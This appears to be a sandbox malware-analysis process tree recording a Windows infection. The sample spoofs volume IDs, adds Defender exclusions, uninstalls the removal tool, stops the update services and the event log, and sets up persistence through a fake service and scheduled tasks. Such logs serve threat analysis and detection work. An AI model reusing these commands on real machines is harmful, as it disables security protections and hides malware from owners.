                                                                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                                      5⤵
                                                                      • Executes dropped EXE
                                                                      PID:2352
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe a: 503B-CJGN
                                                                    4⤵
                                                                      PID:4204
                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe a: 503B-CJGN
                                                                        5⤵
                                                                        • Executes dropped EXE
                                                                        PID:2156
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe b: S9TF-UTCE
                                                                      4⤵
                                                                        PID:3940
                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe b: S9TF-UTCE
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:664
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: 0LHO-9AD9
                                                                        4⤵
                                                                          PID:1836
                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: 0LHO-9AD9
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            PID:2472
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe d: 7B58-V1N7
                                                                          4⤵
                                                                            PID:4296
                                                                            • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                              C:\ProgramData\Microsoft\Windows\Volumeid64.exe d: 7B58-V1N7
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:4520
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe e: H3FC-FCU0
                                                                            4⤵
                                                                              PID:1088
                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe e: H3FC-FCU0
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                PID:4556
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe f: 87US-J3NK
                                                                              4⤵
                                                                                PID:3848
                                                                                • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                  C:\ProgramData\Microsoft\Windows\Volumeid64.exe f: 87US-J3NK
                                                                                  5⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:2512
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe g: O9S2-LU59
                                                                                4⤵
                                                                                  PID:4820
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    5⤵
                                                                                      PID:2236
                                                                                    • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                      C:\ProgramData\Microsoft\Windows\Volumeid64.exe g: O9S2-LU59
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:920
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe h: 3VEJ-J0KB
                                                                                    4⤵
                                                                                      PID:4884
                                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe h: 3VEJ-J0KB
                                                                                        5⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:2960
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe i: 80TT-MU4R
                                                                                      4⤵
                                                                                        PID:2024
                                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe i: 80TT-MU4R
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:1908
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe j: FK4J-7T34
                                                                                        4⤵
                                                                                          PID:320
                                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe j: FK4J-7T34
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4060
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe k: PCHP-6TVT
                                                                                          4⤵
                                                                                            PID:4308
                                                                                            • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                              C:\ProgramData\Microsoft\Windows\Volumeid64.exe k: PCHP-6TVT
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:2192
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe l: GTK9-M3VD
                                                                                            4⤵
                                                                                              PID:4912
                                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe l: GTK9-M3VD
                                                                                                5⤵
                                                                                                  PID:3368
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe m: I25Z-EF1H
                                                                                                4⤵
                                                                                                  PID:4668
                                                                                                  • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                    C:\ProgramData\Microsoft\Windows\Volumeid64.exe m: I25Z-EF1H
                                                                                                    5⤵
                                                                                                      PID:428
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe n: LVAA-Z5DZ
                                                                                                    4⤵
                                                                                                      PID:460
                                                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe n: LVAA-Z5DZ
                                                                                                        5⤵
                                                                                                          PID:4632
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe o: BTIZ-DIDK
                                                                                                        4⤵
                                                                                                          PID:3788
                                                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe o: BTIZ-DIDK
                                                                                                            5⤵
                                                                                                              PID:4024
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe p: TK0E-7NO6
                                                                                                            4⤵
                                                                                                              PID:2168
                                                                                                              • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                C:\ProgramData\Microsoft\Windows\Volumeid64.exe p: TK0E-7NO6
                                                                                                                5⤵
                                                                                                                  PID:2804
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe r: 4IPP-ILDR
                                                                                                                4⤵
                                                                                                                  PID:2640
                                                                                                                  • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                    C:\ProgramData\Microsoft\Windows\Volumeid64.exe r: 4IPP-ILDR
                                                                                                                    5⤵
                                                                                                                      PID:1516
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe s: 4DP3-3OEE
                                                                                                                    4⤵
                                                                                                                      PID:3952
                                                                                                                      • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                        C:\ProgramData\Microsoft\Windows\Volumeid64.exe s: 4DP3-3OEE
                                                                                                                        5⤵
                                                                                                                          PID:4804
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe t: 8MM9-JRGE
                                                                                                                        4⤵
                                                                                                                          PID:4708
                                                                                                                          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                            C:\ProgramData\Microsoft\Windows\Volumeid64.exe t: 8MM9-JRGE
                                                                                                                            5⤵
                                                                                                                              PID:4652
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe u: MGB8-T6RB
                                                                                                                            4⤵
                                                                                                                              PID:5084
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                5⤵
                                                                                                                                  PID:3364
                                                                                                                                • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                  C:\ProgramData\Microsoft\Windows\Volumeid64.exe u: MGB8-T6RB
                                                                                                                                  5⤵
                                                                                                                                    PID:3992
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe v: PL29-F2T5
                                                                                                                                  4⤵
                                                                                                                                    PID:2208
                                                                                                                                    • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                      C:\ProgramData\Microsoft\Windows\Volumeid64.exe v: PL29-F2T5
                                                                                                                                      5⤵
                                                                                                                                        PID:5136
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe y: 0NCU-S70I
                                                                                                                                      4⤵
                                                                                                                                        PID:5164
                                                                                                                                        • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                          C:\ProgramData\Microsoft\Windows\Volumeid64.exe y: 0NCU-S70I
                                                                                                                                          5⤵
                                                                                                                                            PID:5208
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe z: SSO0-HBLG
                                                                                                                                          4⤵
                                                                                                                                            PID:5348
                                                                                                                                            • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                                                                                              C:\ProgramData\Microsoft\Windows\Volumeid64.exe z: SSO0-HBLG
                                                                                                                                              5⤵
                                                                                                                                                PID:5476
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.cfg
                                                                                                                                              4⤵
                                                                                                                                                PID:5368
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.chm
                                                                                                                                                4⤵
                                                                                                                                                  PID:5420
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\DevManView.exe
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5468
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\amide.sys
                                                                                                                                                    4⤵
                                                                                                                                                      PID:5532
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\amifldrv64.sys
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5568
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                                                                                                        4⤵
                                                                                                                                                          PID:5632
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C del C:\ProgramData\Microsoft\Windows\Disk.bat
                                                                                                                                                          4⤵
                                                                                                                                                            PID:5672
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"
                                                                                                                                                          3⤵
                                                                                                                                                          • Checks computer location settings
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Modifies registry class
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:4248
                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\ChainReview\4N7V2tIOe7KSQ8eET3YGuCyK2Y.vbe"
                                                                                                                                                            4⤵
                                                                                                                                                            • Checks computer location settings
                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                            PID:4336
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\ChainReview\8xoM57ln5l3nWVEqwKA0TDOQ0Am35EOuQMtKP.bat" "
                                                                                                                                                              5⤵
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:5088
                                                                                                                                                              • C:\ChainReview\sphyperRuntimedhcpSvc.exe
                                                                                                                                                                "C:\ChainReview/sphyperRuntimedhcpSvc.exe"
                                                                                                                                                                6⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                • Modifies registry class
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                PID:4712
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\.conhostsft.exe'
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:372
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:1720
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\L2Schemas\wininit.exe'
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:5032
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ChainReview\fontdrvhost.exe'
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:4548
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\defaults\pref\WmiPrvSE.exe'
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  PID:4216
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\lDqah0Z8kK.bat"
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:4204
                                                                                                                                                                    • C:\Windows\system32\chcp.com
                                                                                                                                                                      chcp 65001
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:380
                                                                                                                                                                      • C:\Windows\system32\w32tm.exe
                                                                                                                                                                        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:2992
                                                                                                                                                                        • C:\Recovery\WindowsRE\.conhostsft.exe
                                                                                                                                                                          "C:\Recovery\WindowsRE\.conhostsft.exe"
                                                                                                                                                                          8⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                          PID:3464
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\conhostsft.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\conhostsft.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                PID:3640
                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\.conhostsft.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\.conhostsft.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  PID:1888
                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:868
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:1988
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:3292
                                                                                                                                                                        • C:\Windows\system32\wusa.exe
                                                                                                                                                                          wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:4168
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:4708
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:4984
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:3996
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:2920
                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                          C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:2300
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:3420
                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1728
                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:2960
                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:4992
                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:1204
                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                    C:\Windows\system32\sc.exe delete "driverupdate"
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                    PID:4556
                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                    C:\Windows\system32\sc.exe create "driverupdate" binpath= "C:\ProgramData\VC_redist.x64.exe" start= "auto"
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                    PID:2660
                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                    C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                    PID:4436
                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                    C:\Windows\system32\sc.exe start "driverupdate"
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                    PID:1976
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn ".conhostsft." /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\.conhostsft.exe'" /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:1448
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn ".conhostsft" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\.conhostsft.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2872
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn ".conhostsft." /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\.conhostsft.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:3600
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:3492
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2472
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2996
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Windows\L2Schemas\wininit.exe'" /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2060
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\L2Schemas\wininit.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2156
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Windows\L2Schemas\wininit.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:628
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\ChainReview\fontdrvhost.exe'" /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2152
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\ChainReview\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:1912
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\ChainReview\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:4260
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\WmiPrvSE.exe'" /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:4032
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:3868
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:4232
                                                                                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:408
                                                                                                                                                                            • C:\ProgramData\VC_redist.x64.exe
                                                                                                                                                                              C:\ProgramData\VC_redist.x64.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                              PID:1036
                                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                PID:868
                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2948
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:628
                                                                                                                                                                                    • C:\Windows\system32\wusa.exe
                                                                                                                                                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:4912
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                      2⤵
